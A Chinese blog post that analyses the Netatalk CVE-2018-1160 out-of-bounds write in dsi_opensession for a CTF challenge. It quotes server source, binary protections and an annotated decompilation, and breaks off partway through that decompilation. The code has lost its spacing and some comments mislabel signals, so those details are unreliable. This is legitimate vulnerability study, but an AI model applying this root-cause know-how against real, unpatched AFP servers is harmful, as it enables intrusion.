文章总结: 本文记录了NetatalkCVE-2018-1160漏洞的学习与复现过程,简述了Netatalk作为AFP文件服务器的背景。作者提供了源码下载链接并展开代码审计,详细分析了afpd主模块中main.c的初始化与信号处理函数,但文档内容在源码分析阶段中断,未包含具体的漏洞原理或利用方法。 综合评分: 48 文章分类: 漏洞分析,代码审计,二进制安全
Netatalk CVE-2018-1160 复现及漏洞利用思路
小M安全
2026年3月3日 16:49 浙江
这个cve的编号是我在pwnable这个上面的一个赛题因此我们这里进行对这个cve的一个学习
这里我们参考了要给文章地址放在这里下面
https://www.cnblogs.com/cx1ng/p/17293481.html
https://gtrboy.github.io/posts/netatalk/#题目信息
https://www.secreu.cn/2025/09/06/pwnable-tw-CVE-2018-1160/
前提知识
1.1netatalk
netattalk是一个开源的文件服务器,他是基于apple filing protocol协议进行一个通信的,而这个afp协议是苹果开发的一个文件协议,苹果文件服务的一部分
1.2源码分析
因为这个是一个开源的文件服务器,因此师傅们需要去下载一个带源码的漏洞版本进行一个分析这里我会把下载的链接给各位师傅们(https://sourceforge.net/projects/netatalk/files/netatalk/3.1.11/netatalk-3.1.11.tar.gz/download)
接下来我们分析源码对于理解Netatalk,主模块afpd和AFP协议流量包处理模块libnetatalk。其中afpd主要功能为初始化服务的环境、监听和接受处理请求并为之构建请求处理的环境,而libnetatalk是具体解析和处理dsi流量的。
同时我们应该先看这个afpd这个文件夹中的信息,同时也是从main.c文件开始查看地址实在/etc/afpd/main.c文件下,下面就是他的一个main的源码
/*
* Copyright (c) 1990,1993 Regents of The University of Michigan.
* All Rights Reserved. See COPYRIGHT.
*/
#ifdef HAVE_CONFIG_H
#include "config.h"
#endif /* HAVE_CONFIG_H */
#include <errno.h>
#include <poll.h>
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/param.h>
#include <sys/resource.h>
#include <sys/socket.h>
#include <sys/time.h>
#include <sys/uio.h>
#include <sys/wait.h>
#include <atalk/adouble.h>
#include <atalk/afp.h>
#include <atalk/atp.h>
#include <atalk/asp.h>
#include <atalk/compat.h>
#include <atalk/dsi.h>
#include <atalk/errchk.h>
#include <atalk/globals.h>
#include <atalk/logger.h>
#include <atalk/nbp.h>
#include <atalk/netatalk_conf.h>
#include <atalk/server_child.h>
#include <atalk/server_ipc.h>
#include <atalk/util.h>
#include "afp_config.h"
#include "afpstats.h"
#include "fork.h"
#include "status.h"
#include "uam_auth.h"
#define ASEV_THRESHHOLD 10
unsignedcharnologin=0;
staticAFPObjdsi_obj;
staticAFPObjasp_obj;
staticserver_child_t*server_children;
staticsig_atomic_treloadconfig=0;
staticsig_atomic_tgotsigchld=0;
staticstructasev*asev;
staticafp_child_t*dsi_start(AFPObj*obj, DSI*dsi,
server_child_t*server_children);
staticintasp_start(AFPObj*obj, server_child_t*server_children);
staticvoidasp_cleanup(constAFPObj*obj);
staticvoidafp_exit(intret)
{
exit(ret);
}
/* ------------------
initialize fd set we are waiting for.
*/
staticboolinit_listening_sockets(constAFPObj*dsiconfig,
constAFPObj*aspconfig)
{
DSI*dsi;
intnumlisteners;
for (numlisteners=0, dsi=dsiconfig->dsi; dsi; dsi=dsi->next) {
numlisteners++;
}
asev=asev_init(dsiconfig->options.connections+numlisteners+
ASEV_THRESHHOLD);
if (asev==NULL) {
returnfalse;
}
for (dsi=dsiconfig->dsi; dsi; dsi=dsi->next) {
if (!(asev_add_fd(asev, dsi->serversock, LISTEN_FD, dsi, AFPPROTO_DSI))) {
returnfalse;
}
}
#ifndef NO_DDP
if (!(asev_add_fd(asev, aspconfig->fd, LISTEN_FD, 0, AFPPROTO_ASP))) {
returnfalse;
}
#endif /* no afp/asp */
returntrue;
}
staticboolreset_listening_sockets(constAFPObj*dsiconfig,
constAFPObj*aspconfig)
{
constDSI*dsi;
for (dsi=dsiconfig->dsi; dsi; dsi=dsi->next) {
if (!(asev_del_fd(asev, dsi->serversock))) {
returnfalse;
}
}
#ifndef NO_DDP
/* only attempt to reset asp socket if we have one */
if (aspconfig->fd) {
if (!(asev_del_fd(asev, aspconfig->fd))) {
returnfalse;
}
}
#endif /* no afp/asp */
returntrue;
}
/* ------------------ */
staticvoidafp_goaway(intsig)
{
#ifndef NO_DDP
asp_kill(sig);
#endif /* ! NO_DDP */
switch (sig) {
caseSIGTERM:
caseSIGQUIT:
LOG(log_note, logtype_afpd, "AFP Server shutting down");
if (server_children) {
server_child_kill(server_children, SIGTERM);
}
#ifndef NO_DDP
if (asp_obj.handle) {
asp_cleanup(&asp_obj);
}
#endif /* ! NO_DDP */
_exit(0);
break;
caseSIGUSR1 :
nologin++;
auth_unload();
LOG(log_info, logtype_afpd, "disallowing logins");
if (server_children) {
server_child_kill(server_children, sig);
}
break;
caseSIGHUP :
/* w/ a configuration file, we can force a re-read if we want */
reloadconfig=1;
break;
caseSIGCHLD:
/* w/ a configuration file, we can force a re-read if we want */
gotsigchld=1;
break;
default :
LOG(log_error, logtype_afpd, "afp_goaway: bad signal");
}
return;
}
staticvoidchild_handler(void)
{
intfd;
intstatus;
pid_tpid;
#ifndef WAIT_ANY
#define WAIT_ANY (-1)
#endif /* ! WAIT_ANY */
while ((pid=waitpid(WAIT_ANY, &status, WNOHANG)) >0) {
if (WIFEXITED(status)) {
if (WEXITSTATUS(status)) {
LOG(log_info, logtype_afpd, "child[%d]: exited %d", pid, WEXITSTATUS(status));
} else {
LOG(log_info, logtype_afpd, "child[%d]: done", pid);
}
} else {
if (WIFSIGNALED(status)) {
LOG(log_info, logtype_afpd, "child[%d]: killed by signal %d", pid,
WTERMSIG(status));
} else {
LOG(log_info, logtype_afpd, "child[%d]: died", pid);
}
}
fd=server_child_remove(server_children, pid);
if (fd==-1) {
continue;
}
if (!(asev_del_fd(asev, fd))) {
LOG(log_error, logtype_afpd, "child[%d]: asev_del_fd: %d", pid, fd);
}
}
}
staticintsetlimits(void)
{
structrlimitrlim;
if (getrlimit(RLIMIT_NOFILE, &rlim) !=0) {
LOG(log_warning, logtype_afpd, "setlimits: reading current limits failed: %s",
strerror(errno));
return-1;
}
if (rlim.rlim_cur!=RLIM_INFINITY&&rlim.rlim_cur<RLIM_MAX) {
rlim.rlim_cur=RLIM_MAX;
if (rlim.rlim_max!=RLIM_INFINITY&&rlim.rlim_max<RLIM_MAX) {
rlim.rlim_max=RLIM_MAX;
}
if (setrlimit(RLIMIT_NOFILE, &rlim) !=0) {
LOG(log_warning, logtype_afpd, "setlimits: increasing limits failed: %s",
strerror(errno));
return-1;
}
}
return0;
}
intmain(intac, char**av)
{
structsigactionsv;
sigset_t sigs;
int ret;
/* Parse argv args and initialize default options */
afp_options_parse_cmdline(&dsi_obj, ac, av);
if (!(dsi_obj.cmdlineflags&OPTION_DEBUG) && (daemonize() !=0)) {
exit(EXITERR_SYS);
}
/* Log SIGBUS/SIGSEGV SBT */
fault_setup(NULL);
if (afp_config_parse(&dsi_obj, "afpd") !=0) {
afp_exit(EXITERR_CONF);
}
/* Save the user's current umask */
dsi_obj.options.save_mask=umask(dsi_obj.options.umask);
/* install child handler for asp and dsi. we do this before afp_goaway
* as afp_goaway references stuff from here.
* XXX: this should really be setup after the initial connections. */
if (!(server_children=server_child_alloc(dsi_obj.options.connections))) {
LOG(log_error, logtype_afpd, "main: server_child alloc: %s", strerror(errno));
afp_exit(EXITERR_SYS);
}
#ifndef NO_DDP
/* initialize appletalk protocol support if enabled */
if (dsi_obj.options.flags&OPTION_DDP) {
afp_options_parse_cmdline(&asp_obj, ac, av);
if (afp_config_parse(&asp_obj, "afpd") !=0) {
afp_exit(EXITERR_CONF);
}
}
#endif /* no afp/asp */
sigemptyset(&sigs);
pthread_sigmask(SIG_SETMASK, &sigs, NULL);
memset(&sv, 0, sizeof(sv));
/* linux at least up to 2.4.22 send a SIGXFZ for vfat fs,
even if the file is open with O_LARGEFILE ! */
#ifdef SIGXFSZ
sv.sa_handler=SIG_IGN;
sigemptyset(&sv.sa_mask);
if (sigaction(SIGXFSZ, &sv, NULL) <0) {
LOG(log_error, logtype_afpd, "main: sigaction: %s", strerror(errno));
afp_exit(EXITERR_SYS);
}
#endif
sv.sa_handler=SIG_IGN;
sigemptyset(&sv.sa_mask);
if (sigaction(SIGPIPE, &sv, NULL) <0) {
LOG(log_error, logtype_afpd, "main: sigaction: %s", strerror(errno));
afp_exit(EXITERR_SYS);
}
sv.sa_handler=afp_goaway; /* handler for all sigs */
sigemptyset(&sv.sa_mask);
sigaddset(&sv.sa_mask, SIGALRM);
sigaddset(&sv.sa_mask, SIGHUP);
sigaddset(&sv.sa_mask, SIGTERM);
sigaddset(&sv.sa_mask, SIGUSR1);
sigaddset(&sv.sa_mask, SIGQUIT);
sv.sa_flags=SA_RESTART;
if (sigaction(SIGCHLD, &sv, NULL) <0) {
LOG(log_error, logtype_afpd, "main: sigaction: %s", strerror(errno));
afp_exit(EXITERR_SYS);
}
sigemptyset(&sv.sa_mask);
sigaddset(&sv.sa_mask, SIGALRM);
sigaddset(&sv.sa_mask, SIGTERM);
sigaddset(&sv.sa_mask, SIGHUP);
sigaddset(&sv.sa_mask, SIGCHLD);
sigaddset(&sv.sa_mask, SIGQUIT);
sv.sa_flags=SA_RESTART;
if (sigaction(SIGUSR1, &sv, NULL) <0) {
LOG(log_error, logtype_afpd, "main: sigaction: %s", strerror(errno));
afp_exit(EXITERR_SYS);
}
sigemptyset(&sv.sa_mask);
sigaddset(&sv.sa_mask, SIGALRM);
sigaddset(&sv.sa_mask, SIGTERM);
sigaddset(&sv.sa_mask, SIGUSR1);
sigaddset(&sv.sa_mask, SIGCHLD);
sigaddset(&sv.sa_mask, SIGQUIT);
sv.sa_flags=SA_RESTART;
if (sigaction(SIGHUP, &sv, NULL) <0) {
LOG(log_error, logtype_afpd, "main: sigaction: %s", strerror(errno));
afp_exit(EXITERR_SYS);
}
sigemptyset(&sv.sa_mask);
sigaddset(&sv.sa_mask, SIGALRM);
sigaddset(&sv.sa_mask, SIGHUP);
sigaddset(&sv.sa_mask, SIGUSR1);
sigaddset(&sv.sa_mask, SIGCHLD);
sigaddset(&sv.sa_mask, SIGQUIT);
sv.sa_flags=SA_RESTART;
if (sigaction(SIGTERM, &sv, NULL) <0) {
LOG(log_error, logtype_afpd, "main: sigaction: %s", strerror(errno));
afp_exit(EXITERR_SYS);
}
sigemptyset(&sv.sa_mask);
sigaddset(&sv.sa_mask, SIGALRM);
sigaddset(&sv.sa_mask, SIGHUP);
sigaddset(&sv.sa_mask, SIGUSR1);
sigaddset(&sv.sa_mask, SIGCHLD);
sigaddset(&sv.sa_mask, SIGTERM);
sv.sa_flags=SA_RESTART;
if (sigaction(SIGQUIT, &sv, NULL) <0) {
LOG(log_error, logtype_afpd, "main: sigaction: %s", strerror(errno));
afp_exit(EXITERR_SYS);
}
/* afp.conf: not in config file: lockfile, configfile
* preference: command-line provides defaults.
* config file over-writes defaults.
*
* we also need to make sure that killing afpd during startup
* won't leave any lingering registered names around.
*/
sigemptyset(&sigs);
sigaddset(&sigs, SIGALRM);
sigaddset(&sigs, SIGHUP);
sigaddset(&sigs, SIGUSR1);
sigaddset(&sigs, SIGCHLD);
pthread_sigmask(SIG_BLOCK, &sigs, NULL);
#ifdef HAVE_DBUS_GLIB
/* Run dbus AFP statistics thread */
if (dsi_obj.options.flags&OPTION_DBUS_AFPSTATS) {
(void)afpstats_init(server_children);
}
#endif
if (configinit(&dsi_obj, &asp_obj) !=0) {
LOG(log_error, logtype_afpd, "main: no servers configured");
afp_exit(EXITERR_CONF);
}
pthread_sigmask(SIG_UNBLOCK, &sigs, NULL);
/* Initialize */
cnid_init();
/* watch atp, dsi sockets and ipc parent/child file descriptor. */
if (!(init_listening_sockets(&dsi_obj, &asp_obj))) {
LOG(log_error, logtype_afpd, "main: couldn't initialize socket handler");
afp_exit(EXITERR_CONF);
}
/* set limits */
(void)setlimits();
afp_child_t*child;
intsaveerrno;
/* wait for an appleshare connection. parent remains in the loop
* while the children get handled by afp_over_{asp,dsi}. this is
* currently vulnerable to a denial-of-service attack if a
* connection is made without an actual login attempt being made
* afterwards. establishing timeouts for logins is a possible
* solution. */
while (1) {
…………
for (inti=0; i<asev->used; i++) {
if (asev->fdset[i].revents& (POLLIN|POLLERR|POLLHUP|POLLNVAL)) {
switch (asev->data[i].fdtype) {
caseLISTEN_FD:
switch (asev->data[i].protocol) {
caseAFPPROTO_DSI:
if ((child = dsi_start(&obj, (DSI *)(asev->data[i].private), server_children))) {
if (!(asev_add_fd(asev, child->afpch_ipc_fd, IPC_FD, child, 0))) {
LOG(log_error, logtype_afpd, "out of asev slots");
/*
* Close IPC fd here and mark it as unused
*/
close(child->afpch_ipc_fd);
child->afpch_ipc_fd=-1;
/*
* Being unfriendly here, but we really
* want to get rid of it. The 'child'
* handle gets cleaned up in the SIGCLD
* handler.
*/
kill(child->afpch_pid, SIGKILL);
}
}
break;
…………
对于这个段代码在!(init_listening_sockets(&obj))里开始进行监控套接字,下面的while (1)循环就是对消息不断地进行处理,同时(child = dsi_start(&obj, (DSI *)(asev->data[i].private), server_children))这行代码返回了进程描述符,这里面就开始已经真正开始接收和处理请求了,那么接着阅读这个函数
同时他也调用了这个函数
staticafp_child_t*dsi_start(AFPObj*obj, DSI*dsi,
server_child_t*server_children)
{
afp_child_t*child=NULL;
if (dsi_getsession(dsi, server_children, obj->options.tickleval, &child) !=0) {
LOG(log_error, logtype_afpd, "dsi_start: session error: %s", strerror(errno));
returnNULL;
}
/* we've forked. */
if (child==NULL) {
configfree(obj, dsi);
afp_over_dsi(obj); /* start a session */
exit(0);
}
returnchild;
}
而这个函数就是我们调用的一个函数体而我们在掉了这个函数体后又调用getsession的一个调用
intdsi_getsession(DSI*dsi, server_child_t*serv_children, inttickleval,
afp_child_t**childp)
{
pid_tpid;
intipc_fds[2];
afp_child_t*child;
if (socketpair(PF_UNIX, SOCK_STREAM, 0, ipc_fds) <0) {
LOG(log_error, logtype_dsi, "dsi_getsess: %s", strerror(errno));
return-1;
}
if (setnonblock(ipc_fds[0], 1) !=0||setnonblock(ipc_fds[1], 1) !=0) {
LOG(log_error, logtype_dsi, "dsi_getsess: setnonblock: %s", strerror(errno));
return-1;
}
switch (pid=dsi->proto_open(dsi)) { /* in libatalk/dsi/dsi_tcp.c */
case-1:
/* if we fail, just return. it might work later */
LOG(log_error, logtype_dsi, "dsi_getsess: %s", strerror(errno));
return-1;
case0: /* child. mostly handled below. */
break;
default: /* parent */
/* using SIGKILL is hokey, but the child might not have
* re-established its signal handler for SIGTERM yet. */
close(ipc_fds[1]);
if ((child=server_child_add(serv_children, pid, ipc_fds[0])) == NULL) {
LOG(log_error, logtype_dsi, "dsi_getsess: %s", strerror(errno));
close(ipc_fds[0]);
dsi->header.dsi_flags=DSIFL_REPLY;
dsi->header.dsi_data.dsi_code=htonl(DSIERR_SERVBUSY);
dsi_send(dsi);
dsi->header.dsi_data.dsi_code=DSIERR_OK;
kill(pid, SIGKILL);
}
dsi->proto_close(dsi);
*childp=child;
return0;
}
/* Save number of existing and maximum connections */
dsi->AFPobj->cnx_cnt=serv_children->servch_count;
dsi->AFPobj->cnx_max=serv_children->servch_nsessions;
/* get rid of some stuff */
dsi->AFPobj->ipc_fd=ipc_fds[1];
close(ipc_fds[0]);
close(dsi->serversock);
dsi->serversock=-1;
server_child_free(serv_children);
switch (dsi->header.dsi_command) {
caseDSIFUNC_STAT: { /* send off status and return */
/* OpenTransport 1.1.2 bug workaround:
*
* OT code doesn't currently handle close sockets well. urk.
* the workaround: wait for the client to close its
* side. timeouts prevent indefinite resource use.
*/
staticstructtimevaltimeout= {120, 0};
fd_setreadfds;
dsi_getstatus(dsi);
FD_ZERO(&readfds);
FD_SET(dsi->socket, &readfds);
free(dsi);
select(FD_SETSIZE, &readfds, NULL, NULL, &timeout);
exit(0);
}
break;
caseDSIFUNC_OPEN: /* setup session */
/* set up the tickle timer */
dsi->timer.it_interval.tv_sec=dsi->timer.it_value.tv_sec=tickleval;
dsi->timer.it_interval.tv_usec=dsi->timer.it_value.tv_usec=0;
dsi_opensession(dsi);
*childp=NULL;
return0;
default: /* just close */
LOG(log_info, logtype_dsi, "DSIUnknown %d", dsi->header.dsi_command);
dsi->proto_close(dsi);
exit(EXITERR_CLNT);
}
}
同时我们在这里遭到dsi_opensession的一个函数而这个cve也是在这个位置上获得的要给漏洞权限
voiddsi_opensession(DSI*dsi)
{
size_ti=0;
uint32_tservquant;
uint32_treplcsize;
intoffs;
uint8_tcmd;
size_toption_len;
if (setnonblock(dsi->socket, 1) <0) {
LOG(log_error, logtype_dsi, "dsi_opensession: setnonblock: %s",
strerror(errno));
AFP_PANIC("setnonblock error");
}
/* parse options */
while (i+1<dsi->cmdlen) {
cmd=dsi->commands[i++];
option_len=dsi->commands[i++];
if (i+option_len>dsi->cmdlen) {
LOG(log_error, logtype_dsi, "option %"PRIu8" too large: %zu",
cmd, option_len);
exit(EXITERR_CLNT);
}
switch (cmd) {
caseDSIOPT_ATTNQUANT:
if (option_len!=sizeof(dsi->attn_quantum)) {
LOG(log_error, logtype_dsi, "option %"PRIu8" bad length: %zu",
cmd, option_len);
exit(EXITERR_CLNT);
}
memcpy(&dsi->attn_quantum, dsi->commands+i+1, dsi->commands[i]);//而这里就是我们漏洞发生的一个位置
dsi->attn_quantum=ntohl(dsi->attn_quantum);
caseDSIOPT_SERVQUANT:
/* just ignore these */
default:
break;
}
i+=option_len;
}
/* let the client know the server quantum. we don't use the
* max server quantum due to a bug in appleshare client 3.8.6. */
dsi->header.dsi_flags=DSIFL_REPLY;
dsi->header.dsi_data.dsi_code=0;
#if 0
dsi->header.dsi_command=DSIFUNC_OPEN;
#endif
/* length of data. dsi_send uses it. */
dsi->cmdlen=2* (2+sizeof(uint32_t));
/* DSI Option Server Request Quantum */
dsi->commands[0] =DSIOPT_SERVQUANT;
dsi->commands[1] =sizeof(servquant);
servquant=htonl((dsi->server_quantum<DSI_SERVQUANT_MIN||
dsi->server_quantum>DSI_SERVQUANT_MAX) ?
DSI_SERVQUANT_DEF : dsi->server_quantum);
memcpy(dsi->commands+2, &servquant, sizeof(servquant));
/* AFP replaycache size option */
offs=2+sizeof(replcsize);
dsi->commands[offs] =DSIOPT_REPLCSIZE;
dsi->commands[offs+1] =sizeof(replcsize);
replcsize=htonl(REPLAYCACHE_SIZE);
memcpy(dsi->commands+offs+2, &replcsize, sizeof(replcsize));
dsi_send(dsi);
}
这句话是向dsi->attn_quantum这里面写入dsi->commands + i + 1,写dsi->commands[i]写这个的大小,那么需要先要去了解一下dsi结构体
typedefstructDSI {
structDSI*next; /*!< 链表指针,用于维护多个监听地址或会话 */
AFPObj *AFPobj; /*!< 指向 AFP 会话对象,DSI 是 AFP 的传输层 */
int statuslen; /*!< 状态字符串长度 */
char status[1400]; /*!< 状态信息缓冲区,最大 1400 字节 */
char *signature; /*!< 会话签名,用于认证或唯一标识 */
structdsi_blockheader; /*!< DSI 协议头部结构 */
structsockaddr_storageserver, client; /*!< 服务端和客户端的 socket 地址,支持 IPv4/IPv6 */
structitimervaltimer; /*!< 定时器,用于超时或心跳检测 */
int tickle; /*!< tickle 计数器,AFP/DSI 心跳包保持连接 */
int in_write; /*!< 是否正在写多个数据包,避免信号处理器同时写 socket */
int msg_request; /*!< 是否有待发送的消息请求 */
int down_request; /*!< 是否有待处理的 SIGUSR1 下线请求(5分钟后) */
uint32_tattn_quantum; /*!< 注意量子,协议参数 */
uint32_tdatasize; /*!< 数据大小,协议参数 */
uint32_tserver_quantum; /*!< 服务端量子,协议参数 */
uint16_tserverID; /*!< 服务端 ID */
uint16_tclientID; /*!< 客户端 ID */
uint8_t *commands; /*!< DSI 接收缓冲区 */
uint8_t data[DSI_DATASIZ]; /*!< DSI 回复缓冲区 */
size_t datalen; /*!< 数据长度 */
size_t cmdlen; /*!< 命令长度 */
off_t read_count; /*!< 已读取字节统计 */
off_t write_count; /*!< 已写入字节统计 */
uint32_tflags; /*!< 会话标志位,如 DSI_SLEEPING, DSI_DISCONNECTED */
int socket; /*!< AFP 会话 socket */
int serversock; /*!< 监听 socket */
/* DSI 预读缓冲区,用于 dsi_peek 中的缓冲读取 */
size_t dsireadbuf; /*!< 预读缓冲区大小 */
char *buffer; /*!< 缓冲区起始位置 */
char *start; /*!< 当前缓冲区头 */
char *eof; /*!< 当前已使用缓冲区的末尾 */
char *end; /*!< 缓冲区末尾 */
} DSI;
这个就是他的一个结构体在这个结构体中我们可以知道我们,我们的commands这个结构大小是一个固定值,是一个uint8_t的一个大小的数据那么只要可以控制dsi->commands[i]的值就可以控制&dsi->attn_quantum往后写多少而最多啊就是可以写255这么多的一个数据那么就是触发了要给越界写,因此我们进行一个赋值
在进入到dsi_opensession函数之前,会隐式的调用dsi_stream_receive函数,
dsi_stream_receive这个函数的作用就是填充dsi结构体,阅读dsi_stream_receive
intdsi_stream_receive(DSI*dsi)
{
charblock[DSI_BLOCKSIZ];
LOG(log_maxdebug, logtype_dsi, "dsi_stream_receive: START");
if (dsi->flags&DSI_DISCONNECTED)
return0;
/* read in the header */
if (dsi_buffered_stream_read(dsi, (uint8_t*)block, sizeof(block)) !=sizeof(block)) //////////////这部分相当于读取你的输入里面不处理任何赋值 dsi->socket里面存储的网络地址输入过来的信息
return0;
dsi->header.dsi_flags=block[0];
dsi->header.dsi_command=block[1];
if (dsi->header.dsi_command==0)
return0;
memcpy(&dsi->header.dsi_requestID, block+2, sizeof(dsi->header.dsi_requestID));
memcpy(&dsi->header.dsi_data.dsi_doff, block+4, sizeof(dsi->header.dsi_data.dsi_doff));
dsi->header.dsi_data.dsi_doff=htonl(dsi->header.dsi_data.dsi_doff);
memcpy(&dsi->header.dsi_len, block+8, sizeof(dsi->header.dsi_len));
memcpy(&dsi->header.dsi_reserved, block+12, sizeof(dsi->header.dsi_reserved));
dsi->clientID=ntohs(dsi->header.dsi_requestID);
/* make sure we don't over-write our buffers. */
dsi->cmdlen=MIN(ntohl(dsi->header.dsi_len), dsi->server_quantum);
/* Receiving DSIWrite data is done in AFP function, not here */
if (dsi->header.dsi_data.dsi_doff) {
LOG(log_maxdebug, logtype_dsi, "dsi_stream_receive: write request");
dsi->cmdlen=dsi->header.dsi_data.dsi_doff;
}
if (dsi_stream_read(dsi, dsi->commands, dsi->cmdlen) !=dsi->cmdlen) //////////////////////////////////////
return0;
LOG(log_debug, logtype_dsi, "dsi_stream_receive: DSI cmdlen: %zd", dsi->cmdlen);
returnblock[1];
}
对于蓝色部分存储到了block[]中然后再赋值到dsi.header变量中,红色部分通过dsi_stream_read(dsi, dsi->commands, dsi->cmdlen) != dsi->cmdlen这个函数将payload字段放到了你的dsi->commond中,至此了解该函数是如何把DSI流量数据填充进 dsi structure
因此这里就出现了任意的一个地址写,所以这个是他漏洞形成的一个原因
而这个题目的手法也就是这个
(pwn) secreu@Vanilla:~/netatalk$checksec--file=afpd
[*] '/home/secreu/netatalk/afpd'
Arch: amd64-64-little
RELRO: FullRELRO
Stack: Canaryfound
NX: NXenabled
PIE: PIEenabled
FORTIFY: Enabled
(pwn) secreu@Vanilla:~/netatalk$checksec--file=libc-2.27.so
[*] '/home/secreu/netatalk/libc-2.27.so'
Arch: amd64-64-little
RELRO: PartialRELRO
Stack: Canaryfound
NX: NXenabled
PIE: PIEenabled
(pwn) secreu@Vanilla:~/netatalk$checksec--file=libatalk.so.18
[*] '/home/secreu/netatalk/libatalk.so.18'
Arch: amd64-64-little
RELRO: PartialRELRO
Stack: Canaryfound
NX: NXenabled
PIE: PIEenabled
FORTIFY: Enabled
/**
* afpd 守护进程主函数 —— 逐行中文注释版
*
* afpd (Apple Filing Protocol Daemon) 是 Netatalk 项目的核心组件,
* 负责在 Linux/Unix 系统上提供苹果文件共享服务(AFP协议)。
*
* 本文件为 IDA Pro 反编译输出,经过人工注释整理。
*/
int__fastcallmain(intargc, constchar**argv, constchar**envp)
{
/* ══════════════════════════════════════════════
* 局部变量声明区(均为反编译器自动命名)
* ══════════════════════════════════════════════ */
__int64v3; // 临时变量,用于传递信号处理标志
__int64v4; // 临时变量(socket初始化日志参数)
intv5; // getrlimit64() 的返回值
int*v6; // errno 指针(临时)
int*v7; // errno 指针(长期持有,主循环中使用)
__int64i; // 主循环迭代变量,指向事件循环结构
intv9; // poll() 的返回值(就绪fd数量)
intv10; // 保存的 errno 值
__int64v11; // poll fd 数组遍历索引
__int64v12; // 事件循环结构指针(内层循环)
__int64v13; // DSI会话结构指针
__int64v14; // 事件槽结构指针
char*v15; // strerror() 返回的错误字符串
constchar*v16; // 日志格式字符串
char*v17; // 日志参数字符串
__int64v18; // 日志行号
__int64v19; // 服务器链表遍历指针
__int64v20; // 临时(socket handler日志参数)
__int64v21; // server_child 结构指针(临时)
unsignedintv22; // waitpid() 返回的子进程PID
unsignedintv23; // server_child_remove() 返回的fd
constchar*v24; // 子进程退出日志格式字符串
__int64v25; // 子进程退出日志参数(pid)
__int64v26; // 子进程退出日志行号
char*v27; // strerror() 返回值(poll错误)
_DWORD*v29; // 子进程数据结构指针
intv30; // ipc_server_read() 返回值
intv31; // IPC fd(日志参数)
charv32; // asev_add_fd() 返回值
__pid_t*v33; // 子进程结构指针(kill操作)
__pid_tv34; // 要被kill的子进程PID
char*v35; // strerror()(DSI会话错误)
char*v36; // strerror()(getrlimit错误)
constchar*v37; // 错误日志字符串
__int64v38; // 错误日志行号
int*v39, *v44, *v46, *v48, *v50, *v52, *v54, *v56; // errno 指针(各sigaction错误处理)
char*v40, *v45, *v47, *v49, *v51, *v53, *v55, *v57; // strerror() 返回值(各信号错误)
constchar*v41; // 错误日志格式(通用)
char*v42; // 错误日志参数(通用)
__int64v43; // 错误日志行号(通用)
rlim64_trlim_cur; // 保存新建子进程的结构地址(复用栈空间)
__pid_t*v59; // 子进程结构指针(复用栈空间,与rlim_cur同地址)
structrlimit64rlimits; // 文件描述符资源限制结构(也复用为waitpid状态)
sigset_tset; // 信号集,用于 pthread_sigmask 操作
structsigactionact; // 信号处理动作结构
unsigned__int64v63; // Stack canary(栈溢出保护)
/* ══════════════════════════════════════════════
* 一、栈保护 & 启动初始化
* ══════════════════════════════════════════════ */
// 读取 fs:0x28 处的 stack canary 值,存入局部变量,函数返回时校验
v63=__readfsqword(0x28u);
// 解析命令行参数,结果写入全局配置结构 unk_25C5C0
afp_options_parse_cmdline(&unk_25C5C0, (unsignedint)argc, argv);
// 如果没有传入 -F(前台运行)标志,则调用 daemonize() 转入后台
// daemonize() 失败(返回非0)则跳转到 LABEL_96 → exit(3)
if ( (byte_25C5C8&1) ==0&& (unsignedint)daemonize(0, 0) )
gotoLABEL_96;
// 设置故障处理(通常注册 SIGSEGV/SIGBUS 等崩溃信号的调试处理器)
fault_setup(0);
// 解析 afpd 配置文件(如 /etc/afp.conf)
// 失败则跳转 LABEL_44 → exit(2)
if ( (unsignedint)afp_config_parse(&unk_25C5C0, "afpd") )
gotoLABEL_44;
// 设置 umask,并保存旧值到全局变量 dword_25C704,
// 用于后续 fork 子进程时恢复文件权限掩码
dword_25C704=umask(mask);
// 分配子进程管理结构(用于追踪所有 AFP 客户端子进程)
// dword_25C5E0 为最大子进程数(来自配置)
qword_25C5B8=server_child_alloc((unsignedint)dword_25C5E0);
if ( !qword_25C5B8 )
{
// 分配失败:若日志级别 > 1,打印错误后退出
if ( (unsignedint)dword_245298>1 )
{
v54=__errno_location(); // 获取 errno 地址
v55=strerror(*v54); // 转换为错误字符串
v41="main: server_child alloc: %s";
v42=v55;
v43=214; // 对应源码行号 214
gotoLABEL_101; // 记录日志后 exit(3)
}
gotoLABEL_96; // 静默退出
}
/* ══════════════════════════════════════════════
* 二、信号处理初始化
*
* 设计思路:
* - 使用 sa_mask 在各信号处理期间屏蔽其他信号,防止重入
* - SA_RESTART(0x10000000) 让被信号中断的系统调用自动重启
* ══════════════════════════════════════════════ */
// 清空信号集,用于后续 pthread_sigmask 调用
sigemptyset(&set);
// SIG_BLOCK=2:暂时阻塞空集合(实质是初始化/同步操作)
pthread_sigmask(2, &set, 0);
// 将整个 sigaction 结构清零(含 sa_mask 的128字节)
memset(&act.sa_mask, 0, 0x90u);
/* ── 2.1 SIGURG (25):忽略 TCP 紧急数据信号 ── */
// &dword_0 + 1 = 地址1 = SIG_IGN(忽略该信号)
act.sa_handler= (__sighandler_t)(&dword_0+1);
sigemptyset(&act.sa_mask);
if ( sigaction(25, &act, 0) <0 )
{
if ( (unsignedint)dword_245298>1 )
{
v52=__errno_location();
v53=strerror(*v52);
v41="main: sigaction: %s";
v42=v53;
v43=228;
gotoLABEL_101;
}
gotoLABEL_96;
}
/* ── 2.2 SIGPIPE (13):忽略管道断开信号 ── */
// 客户端断开连接时内核会发 SIGPIPE,必须忽略否则进程退出
act.sa_handler= (__sighandler_t)(&dword_0+1); // SIG_IGN
sigemptyset(&act.sa_mask);
if ( sigaction(13, &act, 0) <0 )
{
if ( (unsignedint)dword_245298>1 )
{
v50=__errno_location();
v51=strerror(*v50);
v41="main: sigaction: %s";
v42=v51;
v43=236;
gotoLABEL_101;
}
gotoLABEL_96;
}
/* ── 2.3 SIGCHLD (17):子进程退出通知 ── */
// sub_28340 是真正的 SIGCHLD 处理函数(设置 dword_25C5B0 标志位)
act.sa_handler= (__sighandler_t)sub_28340;
sigemptyset(&act.sa_mask);
// 处理 SIGCHLD 期间屏蔽以下信号,防止重入:
sigaddset(&act.sa_mask, 14); // SIGALRM
sigaddset(&act.sa_mask, 1); // SIGHUP
sigaddset(&act.sa_mask, 15); // SIGTERM
sigaddset(&act.sa_mask, 10); // SIGUSR1
sigaddset(&act.sa_mask, 3); // SIGQUIT
act.sa_flags=0x10000000; // SA_RESTART:系统调用被中断后自动重启
if ( sigaction(17, &act, 0) <0 )
{
